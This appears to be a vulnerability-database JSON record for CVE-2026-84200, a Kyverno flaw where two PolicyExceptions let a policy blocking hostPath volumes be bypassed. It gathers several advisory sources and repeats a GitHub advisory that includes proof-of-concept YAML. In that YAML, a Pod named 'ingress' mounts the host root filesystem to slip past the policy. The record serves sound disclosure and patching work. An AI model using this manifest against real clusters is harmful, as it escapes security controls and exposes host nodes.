{"id":"CVE-2026-84200","aliases":["BIT-kyverno-2026-84200","EUVD-2026-69035","GHSA-gg4x-fgg2-h9w9","GHSA-q8fv-357q-9mmj","GO-2026-4285"],"status":"published","title":"Kyverno before v1.13.0 Policy Bypass via Multiple Exceptions","description":"Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy in enforce mode is combined with two PolicyExceptions, the less restrictive exception takes precedence, allowing an attacker to bypass the policy by crafting a resource name that matches the second exception's name pattern (e.g., '*ingress*'). This can be used to circumvent policies such as one blocking hostPath volumes. Fixed in v1.13.0.","severity":{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00273,"percentile":0.1987,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-284"],"published":"2026-01-06T18:00:16Z","modified":"2026-10-28T02:30:39Z","fixes":[{"ecosystem":"Go","package":"github.com/kyverno/kyverno","fixed_in":["1.13.0"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"kyverno","fixed_in":["1.13.0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/kyverno/kyverno","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.0"},{"last_affected":"1.12.7"},{"fixed":"1.13.0"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"kyverno","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.13.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"introduced":"1.9.0"},{"fixed":"1.13.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"introduced":"1.9.0"},{"fixed":"1.13.0"}]}]}],"products":[{"vendor":"kyverno","product":"kyverno"}],"references":[{"url":"https://github.com/kyverno/kyverno/security/advisories/GHSA-gg4x-fgg2-h9w9","tags":["vendor-advisory","exploit","web","advisory"]},{"url":"https://www.vulncheck.com/advisories/kyverno-before-1.13.0-policy-bypass-via-multiple-exceptions","tags":["third-party-advisory","web","advisory"]},{"url":"https://github.com/advisories/GHSA-gg4x-fgg2-h9w9"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84200","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-q8fv-357q-9mmj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84200.json","tags":["advisory"]},{"url":"https://github.com/kyverno/kyverno","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-84200","title":"Kyverno before v1.13.0 Policy Bypass via Multiple Exceptions","description":"Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy in enforce mode is combined with two PolicyExceptions, the less restrictive exception takes precedence, allowing an attacker to bypass the policy by crafting a resource name that matches the second exception's name pattern (e.g., '*ingress*'). This can be used to circumvent policies such as one blocking hostPath volumes. Fixed in v1.13.0.","status":"published","published":"2026-09-01T11:34:00.464Z","modified":"2026-09-02T17:48:14.423Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"},{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T14:20:08.391556Z"}],"euvd":[{"id":"EUVD-2026-69035","description":"Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy in enforce mode is combined with two PolicyExceptions, the less restrictive exception takes precedence, allowing an attacker to bypass the policy by crafting a resource name that matches the second exception's name pattern (e.g., '*ingress*'). This can be used to circumvent policies such as one blocking hostPath volumes. Fixed in v1.13.0.","status":"published","published":"2026-09-01T11:34:00Z","modified":"2026-09-02T17:48:14Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T18:01:15.092584Z"}],"ghsa":[{"id":"GHSA-gg4x-fgg2-h9w9","title":"Bypassing Kyverno Policies via Double Policy Exceptions","description":"### Summary\nIf a cluster has a `Kyverno` policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.\n\n### Details\n\nThe following policy was applied:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: disallow-host-path\n  annotations:\n    policies.kyverno.io/title: Disallow hostPath\n    policies.kyverno.io/category: Pod Security Standards (Baseline)\n    policies.kyverno.io/severity: medium\n    policies.kyverno.io/subject: Pod,Volume\n    kyverno.io/kyverno-version: 1.6.0\n    kyverno.io/kubernetes-version: \"1.22-1.23\"\n    policies.kyverno.io/description: \u003e-\n      HostPath volumes let Pods use host directories and volumes in containers.\n      Using host resources can be used to access shared data or escalate privileges\n      and should not be allowed. This policy ensures no hostPath volumes are in use.\nspec:\n  validationFailureAction: Enforce\n  background: true\n  rules:\n    - name: host-path\n      match:\n        any:\n        - resources:\n            kinds:\n              - Pod\n      validate:\n        message: \u003e-\n          HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.\n        pattern:\n          spec:\n            =(volumes):\n              - X(hostPath): \"null\"\n```\n\nAnd two exceptions:\n\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n  name: disallow-host-path-exception\n  namespace: kyverno\nspec:\n  exceptions:\n  - policyName: disallow-host-path\n    ruleNames:\n    - host-path\n  match:\n    any:\n    - resources:\n        kinds:\n        - DaemonSet\n        - Deployment\n        - Job\n        - StatefulSet\n        - ReplicaSet\n        - ReplicationController\n        - Pod\n        - CronJob\n        namespaces:\n        - luntry\n        - tstkyverno\n        - examplens\n```\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n  name: disallow-host-path-exception-names\n  namespace: kyverno\nspec:\n  exceptions:\n  - policyName: disallow-host-path\n    ruleNames:\n    - host-path\n  match:\n    any:\n    - resources:\n        kinds:\n        - DaemonSet\n        - Deployment\n        - Job\n        - StatefulSet\n        - ReplicaSet\n        - ReplicationController\n        - Pod\n        - CronJob\n        names:\n        - '*haproxy*'\n        - '*ingress*'\n```\nTrying to apply such a yaml will result in the expected ban:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: mtkpi\n  labels:\n    app: pentest\nspec:\n  containers:\n  - name: mtkpi\n    image: ubuntu\n    volumeMounts:\n    - mountPath: /host\n      name: noderoot\n    command: [ \"/bin/sh\", \"-c\", \"--\" ]\n    args: [ \"while true; do sleep 30; done;\" ]  \n  volumes:\n  - name: noderoot\n    hostPath:\n      path: /\n```\n\u003cimg width=\"855\" height=\"483\" alt=\"Снимок экрана 2025-09-04 в 13 35 46\" src=\"https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2\" /\u003e\n\nHowever, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: ingress\n  labels:\n    app: pentest\nspec:\n  containers:\n  - name: mtkpi\n    image: ubuntu\n    volumeMounts:\n    - mountPath: /host\n      name: noderoot\n    command: [ \"/bin/sh\", \"-c\", \"--\" ]\n    args: [ \"while true; do sleep 30; done;\" ]  \n  volumes:\n  - name: noderoot\n    hostPath:\n      path: /\n```\n\n\u003cimg width=\"449\" height=\"386\" alt=\"Снимок экрана 2025-09-04 в 13 37 09\" src=\"https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22\" /\u003e\n\nIt turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.\n\n### Impact\nThe security restrictions can be bypassed.","status":"published","published":"2026-01-06T18:00:16Z","modified":"2026-01-06T18:00:17Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T14:39:16.156387Z"},{"id":"GHSA-q8fv-357q-9mmj","title":"Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy...","description":"Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy in enforce mode is combined with two PolicyExceptions, the less restrictive exception takes precedence, allowing an attacker to bypass the policy by crafting a resource name that matches the second exception's name pattern (e.g., '*ingress*'). This can be used to circumvent policies such as one blocking hostPath volumes. Fixed in v1.13.0.","status":"published","published":"2026-09-01T12:31:51Z","modified":"2026-09-01T12:31:56Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T15:11:12.60039Z"}],"nvd":[{"id":"CVE-2026-84200","description":"Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy in enforce mode is combined with two PolicyExceptions, the less restrictive exception takes precedence, allowing an attacker to bypass the policy by crafting a resource name that matches the second exception's name pattern (e.g., '*ingress*'). This can be used to circumvent policies such as one blocking hostPath volumes. Fixed in v1.13.0.","status":"published","published":"2026-09-01T12:17:49.54Z","modified":"2026-09-10T15:43:03.76Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T14:12:43.04945Z"}],"osv":[{"id":"CVE-2026-84200","title":"Kyverno before v1.13.0 Policy Bypass via Multiple Exceptions","description":"Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy in enforce mode is combined with two PolicyExceptions, the less restrictive exception takes precedence, allowing an attacker to bypass the policy by crafting a resource name that matches the second exception's name pattern (e.g., '*ingress*'). This can be used to circumvent policies such as one blocking hostPath volumes. Fixed in v1.13.0.","status":"published","published":"2026-09-01T11:34:00.464Z","modified":"2026-10-28T02:30:39.054111839Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T15:45:18.482949Z"},{"id":"GHSA-gg4x-fgg2-h9w9","title":"Bypassing Kyverno Policies via Double Policy Exceptions","description":"### Summary\nIf a cluster has a `Kyverno` policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.\n\n### Details\n\nThe following policy was applied:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: disallow-host-path\n  annotations:\n    policies.kyverno.io/title: Disallow hostPath\n    policies.kyverno.io/category: Pod Security Standards (Baseline)\n    policies.kyverno.io/severity: medium\n    policies.kyverno.io/subject: Pod,Volume\n    kyverno.io/kyverno-version: 1.6.0\n    kyverno.io/kubernetes-version: \"1.22-1.23\"\n    policies.kyverno.io/description: \u003e-\n      HostPath volumes let Pods use host directories and volumes in containers.\n      Using host resources can be used to access shared data or escalate privileges\n      and should not be allowed. This policy ensures no hostPath volumes are in use.\nspec:\n  validationFailureAction: Enforce\n  background: true\n  rules:\n    - name: host-path\n      match:\n        any:\n        - resources:\n            kinds:\n              - Pod\n      validate:\n        message: \u003e-\n          HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.\n        pattern:\n          spec:\n            =(volumes):\n              - X(hostPath): \"null\"\n```\n\nAnd two exceptions:\n\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n  name: disallow-host-path-exception\n  namespace: kyverno\nspec:\n  exceptions:\n  - policyName: disallow-host-path\n    ruleNames:\n    - host-path\n  match:\n    any:\n    - resources:\n        kinds:\n        - DaemonSet\n        - Deployment\n        - Job\n        - StatefulSet\n        - ReplicaSet\n        - ReplicationController\n        - Pod\n        - CronJob\n        namespaces:\n        - luntry\n        - tstkyverno\n        - examplens\n```\n```yaml\napiVersion: kyverno.io/v2beta1\nkind: PolicyException\nmetadata:\n  name: disallow-host-path-exception-names\n  namespace: kyverno\nspec:\n  exceptions:\n  - policyName: disallow-host-path\n    ruleNames:\n    - host-path\n  match:\n    any:\n    - resources:\n        kinds:\n        - DaemonSet\n        - Deployment\n        - Job\n        - StatefulSet\n        - ReplicaSet\n        - ReplicationController\n        - Pod\n        - CronJob\n        names:\n        - '*haproxy*'\n        - '*ingress*'\n```\nTrying to apply such a yaml will result in the expected ban:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: mtkpi\n  labels:\n    app: pentest\nspec:\n  containers:\n  - name: mtkpi\n    image: ubuntu\n    volumeMounts:\n    - mountPath: /host\n      name: noderoot\n    command: [ \"/bin/sh\", \"-c\", \"--\" ]\n    args: [ \"while true; do sleep 30; done;\" ]  \n  volumes:\n  - name: noderoot\n    hostPath:\n      path: /\n```\n\u003cimg width=\"855\" height=\"483\" alt=\"Снимок экрана 2025-09-04 в 13 35 46\" src=\"https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2\" /\u003e\n\nHowever, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: ingress\n  labels:\n    app: pentest\nspec:\n  containers:\n  - name: mtkpi\n    image: ubuntu\n    volumeMounts:\n    - mountPath: /host\n      name: noderoot\n    command: [ \"/bin/sh\", \"-c\", \"--\" ]\n    args: [ \"while true; do sleep 30; done;\" ]  \n  volumes:\n  - name: noderoot\n    hostPath:\n      path: /\n```\n\n\u003cimg width=\"449\" height=\"386\" alt=\"Снимок экрана 2025-09-04 в 13 37 09\" src=\"https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22\" /\u003e\n\nIt turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.\n\n### Impact\nThe security restrictions can be bypassed.","status":"published","published":"2026-01-06T18:00:16Z","modified":"2026-09-25T14:25:34.508134973Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-284"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"BIT-kyverno-2026-84200","title":"Kyverno before v1.13.0 Policy Bypass via Multiple Exceptions","description":"Kyverno versions v1.9.0 through v1.12.7 contain a policy exception handling flaw. When a policy in enforce mode is combined with two PolicyExceptions, the less restrictive exception takes precedence, allowing an attacker to bypass the policy by crafting a resource name that matches the second exception's name pattern (e.g., '*ingress*'). This can be used to circumvent policies such as one blocking hostPath volumes. Fixed in v1.13.0.","status":"published","published":"2026-09-25T12:23:42.48Z","modified":"2026-09-25T14:25:34.508134973Z","updated_at":"2026-11-02T15:28:32.162822Z"},{"id":"GO-2026-4285","title":"Bypassing Kyverno Policies via Double Policy Exceptions in github.com/kyverno/kyverno","description":"Bypassing Kyverno Policies via Double Policy Exceptions in github.com/kyverno/kyverno","status":"published","published":"2026-01-12T17:39:39Z","modified":"2026-09-25T14:25:34.508134973Z","updated_at":"2026-11-02T15:47:02.011123Z"}]}}